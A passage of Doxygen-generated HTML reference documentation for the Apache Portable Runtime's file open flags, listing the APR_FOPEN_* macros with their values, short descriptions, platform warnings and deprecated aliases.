href="group__apr__file__open__flags.html#ga17e216aadb23254580258889e10c53f3">APR_SENDFILE_ENABLED</a>   <a class="el" href="group__apr__file__open__flags.html#ga60c21e28e4a612d58a874fe2cc71a6e4">APR_FOPEN_SENDFILE_ENABLED</a></td></tr> <tr class="separator:ga17e216aadb23254580258889e10c53f3"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gaafa04fd4ec71910a5d7af1c7f5596bad"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#gaafa04fd4ec71910a5d7af1c7f5596bad">APR_LARGEFILE</a>   <a class="el" href="group__apr__file__open__flags.html#gaf6cfaa4789e6264afd186235f0adbc22">APR_FOPEN_LARGEFILE</a></td></tr> <tr class="separator:gaafa04fd4ec71910a5d7af1c7f5596bad"><td class="memSeparator" colspan="2"> </td></tr> </table> <a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2> <h2 class="groupheader">Macro Definition Documentation</h2> <a class="anchor" id="ga26d3de2bae5c90e5124869f56c141c2e"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_APPEND   <a class="el" href="group__apr__file__open__flags.html#ga45f353db9b71d4760a3f35cf3781cfc8">APR_FOPEN_APPEND</a></td> </tr> </table> </div><div class="memdoc"> <dl class="deprecated"><dt><b><a class="el" href="deprecated.html#_deprecated000020">Deprecated:</a></b></dt><dd></dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="group__apr__file__open__flags.html#ga45f353db9b71d4760a3f35cf3781cfc8">APR_FOPEN_APPEND</a> </dd></dl> </div> </div> <a class="anchor" id="ga0e7556bac0cc0d1dafdf38952a4e4015"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_BINARY   <a class="el" href="group__apr__file__open__flags.html#gacb20b3028864f34cb26314fe2cacc3fa">APR_FOPEN_BINARY</a></td> </tr> </table> </div><div class="memdoc"> <dl class="deprecated"><dt><b><a class="el" href="deprecated.html#_deprecated000022">Deprecated:</a></b></dt><dd></dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="group__apr__file__open__flags.html#gacb20b3028864f34cb26314fe2cacc3fa">APR_FOPEN_BINARY</a> </dd></dl> </div> </div> <a class="anchor" id="ga6edc818199e8b90e3dabf97c42a27158"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_BUFFERED   <a class="el" href="group__apr__file__open__flags.html#gac48fd4c853c9f561632a2e8aaf5d8d97">APR_FOPEN_BUFFERED</a></td> </tr> </table> </div><div class="memdoc"> <dl class="deprecated"><dt><b><a class="el" href="deprecated.html#_deprecated000024">Deprecated:</a></b></dt><dd></dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="group__apr__file__open__flags.html#gac48fd4c853c9f561632a2e8aaf5d8d97">APR_FOPEN_BUFFERED</a> </dd></dl> </div> </div> <a class="anchor" id="gac210e96bc821dbaa83c326e775dad028"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_CREATE   <a class="el" href="group__apr__file__open__flags.html#gafe94f21ccbf411172e70e7f473af251a">APR_FOPEN_CREATE</a></td> </tr> </table> </div><div class="memdoc"> <dl class="deprecated"><dt><b><a class="el" href="deprecated.html#_deprecated000019">Deprecated:</a></b></dt><dd></dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="group__apr__file__open__flags.html#gafe94f21ccbf411172e70e7f473af251a">APR_FOPEN_CREATE</a> </dd></dl> </div> </div> <a class="anchor" id="gaebc7f034a72dffe64858b1b9451994ff"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_DELONCLOSE   <a class="el" href="group__apr__file__open__flags.html#ga5d3756f6d242c667ed1d3f54af4916eb">APR_FOPEN_DELONCLOSE</a></td> </tr> </table> </div><div class="memdoc"> <dl class="deprecated"><dt><b><a class="el" href="deprecated.html#_deprecated000025">Deprecated:</a></b></dt><dd></dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="group__apr__file__open__flags.html#ga5d3756f6d242c667ed1d3f54af4916eb">APR_FOPEN_DELONCLOSE</a> </dd></dl> </div> </div> <a class="anchor" id="ga209c26b2b903cc23417f6781d4edf891"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_EXCL   <a class="el" href="group__apr__file__open__flags.html#gabb7fb062cdf1d58faee8c7ea518496f1">APR_FOPEN_EXCL</a></td> </tr> </table> </div><div class="memdoc"> <dl class="deprecated"><dt><b><a class="el" href="deprecated.html#_deprecated000023">Deprecated:</a></b></dt><dd></dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="group__apr__file__open__flags.html#gabb7fb062cdf1d58faee8c7ea518496f1">APR_FOPEN_EXCL</a> </dd></dl> </div> </div> <a class="anchor" id="ga3ef1061dbb3adf595701bd12edb062f9"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_FILE_NOCLEANUP   <a class="el" href="group__apr__file__open__flags.html#ga3fc9b5a7791d9f462997cd29de67eb80">APR_FOPEN_NOCLEANUP</a></td> </tr> </table> </div><div class="memdoc"> <dl class="deprecated"><dt><b><a class="el" href="deprecated.html#_deprecated000028">Deprecated:</a></b></dt><dd></dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="group__apr__file__open__flags.html#ga3fc9b5a7791d9f462997cd29de67eb80">APR_FOPEN_NOCLEANUP</a> </dd></dl> </div> </div> <a class="anchor" id="ga45f353db9b71d4760a3f35cf3781cfc8"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_FOPEN_APPEND   0x00008</td> </tr> </table> </div><div class="memdoc"> <p>Append to the end of the file </p> </div> </div> <a class="anchor" id="gacb20b3028864f34cb26314fe2cacc3fa"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_FOPEN_BINARY   0x00020</td> </tr> </table> </div><div class="memdoc"> <p>Open the file in binary mode (This flag is ignored on UNIX because it has no meaning) </p> </div> </div> <a class="anchor" id="gac48fd4c853c9f561632a2e8aaf5d8d97"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_FOPEN_BUFFERED   0x00080</td> </tr> </table> </div><div class="memdoc"> <p>Open the file for buffered I/O </p> </div> </div> <a class="anchor" id="gafe94f21ccbf411172e70e7f473af251a"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_FOPEN_CREATE   0x00004</td> </tr> </table> </div><div class="memdoc"> <p>Create the file if not there </p> </div> </div> <a class="anchor" id="ga5d3756f6d242c667ed1d3f54af4916eb"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_FOPEN_DELONCLOSE   0x00100</td> </tr> </table> </div><div class="memdoc"> <p>Delete the file after close </p> </div> </div> <a class="anchor" id="gabb7fb062cdf1d58faee8c7ea518496f1"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_FOPEN_EXCL   0x00040</td> </tr> </table> </div><div class="memdoc"> <p>Open should fail if <a class="el" href="group__apr__file__open__flags.html#gafe94f21ccbf411172e70e7f473af251a">APR_FOPEN_CREATE</a> and file exists. </p> </div> </div> <a class="anchor" id="gaf6cfaa4789e6264afd186235f0adbc22"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_FOPEN_LARGEFILE   0x04000</td> </tr> </table> </div><div class="memdoc"> <p>Platform dependent flag to enable large file support, see WARNING below</p> <dl class="section warning"><dt>Warning</dt><dd>APR_FOPEN_LARGEFILE flag only has effect on some platforms where sizeof(apr_off_t) == 4. Where implemented, it allows opening and writing to a file which exceeds the size which can be represented by apr_off_t (2 gigabytes). When a file's size does exceed 2Gb, <a class="el" href="group__apr__file__io.html#ga39be7fe05d0dda4a28f4358b61a44ac8">apr_file_info_get()</a> will fail with an error on the descriptor, likewise <a class="el" href="group__apr__file__stat.html#gafb0f4a4fa4545c155e20ddd8f2001c1a">apr_stat()</a>/apr_lstat() will fail on the filename. <a class="el" href="group__apr__dir.html#ga3e4ee253e0c712160bee10bfb9c8e4a8">apr_dir_read()</a> will fail with <a class="el" href="group___a_p_r___error.html#ga64dff43b83bcefd3f3c751be6b864ca1">APR_INCOMPLETE</a> on a directory entry for a large file depending on the particular APR_FINFO_* flags. Generally, it is not recommended to use this flag. </dd></dl> </div> </div> <a class="anchor" id="ga3fc9b5a7791d9f462997cd29de67eb80"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_FOPEN_NOCLEANUP   0x00800</td> </tr> </table> </div><div class="memdoc"> <p>Do not register a cleanup when the file is opened. The apr_os_file_t handle in apr_file_t will not be closed when the pool is destroyed. </p> </div> </div> <a class="anchor" id="ga31e4d14068147e43e1778bcf975dda62"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_FOPEN_NONBLOCK   0x40000</td> </tr> </table> </div><div class="memdoc"> <p>Platform dependent flag to enable non blocking file io</p> <dl class="section warning"><dt>Warning</dt><dd>APR_FOPEN_NONBLOCK is not implemented on all platforms. Callers should be prepared for it to fail with <a class="el" href="group___a_p_r___error.html#ga939ddb834a30bc9a5a0a329b13000161">APR_ENOTIMPL</a>. </dd></dl> </div> </div> <a class="anchor" id="gaf9e7303f028b130ff7d4b209d6662d7d"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_FOPEN_READ   0x00001</td> </tr> </table> </div><div class="memdoc"> <p>Open the file for reading </p> </div> </div> <a class="anchor" id="ga60c21e28e4a612d58a874fe2cc71a6e4"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_FOPEN_SENDFILE_ENABLED   0x01000</td> </tr> </table> </div><div class="memdoc"> <p>Advisory flag that this file should support apr_socket_sendfile operation </p> </div> </div> <a class="anchor" id="ga426f6e2a8457ab410d99248269059a18"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_FOPEN_SHARELOCK   0x00400</td> </tr> </table> </div><div class="memdoc"> <p>Platform dependent support for higher level locked read/write access to support writes across process/machines </p> </div> </div> <a class="anchor" id="ga0d155e9bb7fbf1a5cd4e84b5ede059f4"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_FOPEN_SPARSE   0x08000</td> </tr> </table> </div><div class="memdoc"> <p>Platform dependent flag to enable sparse file support, see WARNING below</p> <dl class="section warning"><dt>Warning</dt><dd>APR_FOPEN_SPARSE may, depending on platform, convert a normal file to a sparse file. Some applications may be unable to decipher a sparse file, so it's critical that the sparse file flag should only be used for files accessed only by APR or other applications known to be able to decipher them. APR does not guarantee that it will compress the file into sparse segments if it was previously created and written without the sparse flag. On platforms which do not understand, or on file systems which cannot handle sparse files, the flag is ignored by <a class="el" href="group__apr__file__io.html#gabda14cbf242fb4fe99055434213e5446">apr_file_open()</a>. </dd></dl> </div> </div> <a class="anchor" id="ga09b05a5bd5db534b93794f7657bcb146"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_FOPEN_TRUNCATE   0x00010</td> </tr> </table> </div><div class="memdoc"> <p>Open the file and truncate to 0 length </p> </div> </div> <a class="anchor" id="gac598bb95fc9476b0bf2ed0b1c308842c"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_FOPEN_WRITE   0x00002</td> </tr> </table> </div><div class="memdoc"> <p>Open the file for writing </p> </div> </div> <a class="anchor" id="ga435cd9b2604b11796779c23ffa00a3dd"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_FOPEN_XTHREAD   0x00200</td> </tr> </table> </div><div class="memdoc"> <p>Platform dependent tag to open the file for use across multiple threads </p> </div> </div> <a class="anchor" id="gaafa04fd4ec71910a5d7af1c7f5596bad"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_LARGEFILE   <a class="el" href="group__apr__file__open__flags.html#gaf6cfaa4789e6264afd186235f0adbc22">APR_FOPEN_LARGEFILE</a></td> </tr> </table> </div><div class="memdoc"> <dl class="deprecated"><dt><b><a class="el" href="deprecated.html#_deprecated000030">Deprecated:</a></b></dt><dd></dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="group__apr__file__open__flags.html#gaf6cfaa4789e6264afd186235f0adbc22">APR_FOPEN_LARGEFILE</a> </dd></dl> </div> </div> <a class="anchor" id="ga0021db78d799d1c8825b701c7efee483"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_READ   <a class="el" href="group__apr__file__open__flags.html#gaf9e7303f028b130ff7d4b209d6662d7d">APR_FOPEN_READ</a></td> </tr> </table> </div><div class="memdoc"> <dl class="deprecated"><dt><b><a class="el" href="deprecated.html#_deprecated000017">Deprecated:</a></b></dt><dd></dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="group__apr__file__open__flags.html#gaf9e7303f028b130ff7d4b209d6662d7d">APR_FOPEN_READ</a> </dd></dl> </div> </div> <a class="anchor" id="ga17e216aadb23254580258889e10c53f3"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_SENDFILE_ENABLED   <a class="el" href="group__apr__file__open__flags.html#ga60c21e28e4a612d58a874fe2cc71a6e4">APR_FOPEN_SENDFILE_ENABLED</a></td> </tr> </table> </div><div class="memdoc"> <dl class="deprecated"><dt><b><a class="el" href="deprecated.html#_deprecated000029">Deprecated:</a></b></dt><dd></dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="group__apr__file__open__flags.html#ga60c21e28e4a612d58a874fe2cc71a6e4">APR_FOPEN_SENDFILE_ENABLED</a> </dd></dl> </div> </div> <a class="anchor" id="ga41277154f4f754a22287ed90e9466811"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_SHARELOCK   <a class="el" href="group__apr__file__open__flags.html#ga426f6e2a8457ab410d99248269059a18">APR_FOPEN_SHARELOCK</a></td> </tr> </table> </div><div class="memdoc"> <dl class="deprecated"><dt><b><a class="el" href="deprecated.html#_deprecated000027">Deprecated:</a></b></dt><dd></dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="group__apr__file__open__flags.html#ga426f6e2a8457ab410d99248269059a18">APR_FOPEN_SHARELOCK</a> </dd></dl> </div> </div> <a class="anchor" id="gaa8898fdebd69d3a64286731b713a6dc9"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_TRUNCATE   <a class="el" href="group__apr__file__open__flags.html#ga09b05a5bd5db534b93794f7657bcb146">APR_FOPEN_TRUNCATE</a></td> </tr> </table> </div><div class="memdoc"> <dl class="deprecated"><dt><b><a class="el" href="deprecated.html#_deprecated000021">Deprecated:</a></b></dt><dd></dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="group__apr__file__open__flags.html#ga09b05a5bd5db534b93794f7657bcb146">APR_FOPEN_TRUNCATE</a> </dd></dl> </div> </div> <a class="anchor" id="ga3e427e53aceb1ccdb078d9a03cd63d01"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_WRITE   <a class="el" href="group__apr__file__open__flags.html#gac598bb95fc9476b0bf2ed0b1c308842c">APR_FOPEN_WRITE</a></td> </tr> </table> </div><div class="memdoc"> <dl class="deprecated"><dt><b><a class="el" href="deprecated.html#_deprecated000018">Deprecated:</a></b></dt><dd></dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="group__apr__file__open__flags.html#gac598bb95fc9476b0bf2ed0b1c308842c">APR_FOPEN_WRITE</a> </dd></dl> </div> </div> <a class="anchor" id="gaa9120c0e395d8a0e640b5eafa8f11cce"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_XTHREAD   <a class="el" href="group__apr__file__open__flags.html#ga435cd9b2604b11796779c23ffa00a3dd">APR_FOPEN_XTHREAD</a></td> </tr> </table> </div><div class="memdoc"> <dl class="deprecated"><dt><b><a class="el" href="deprecated.html#_deprecated000026">Deprecated:</a></b></dt><dd></dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="group__apr__file__open__flags.html#ga435cd9b2604b11796779c23ffa00a3dd">APR_FOPEN_XTHREAD</a> </dd></dl> </div> </div> </div><!-- contents --> <!-- start footer part --> <hr class="footer"/><address class="footer"><small> Generated by  <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/> </a> 1.8.5 </small></address> </body> </html>
Close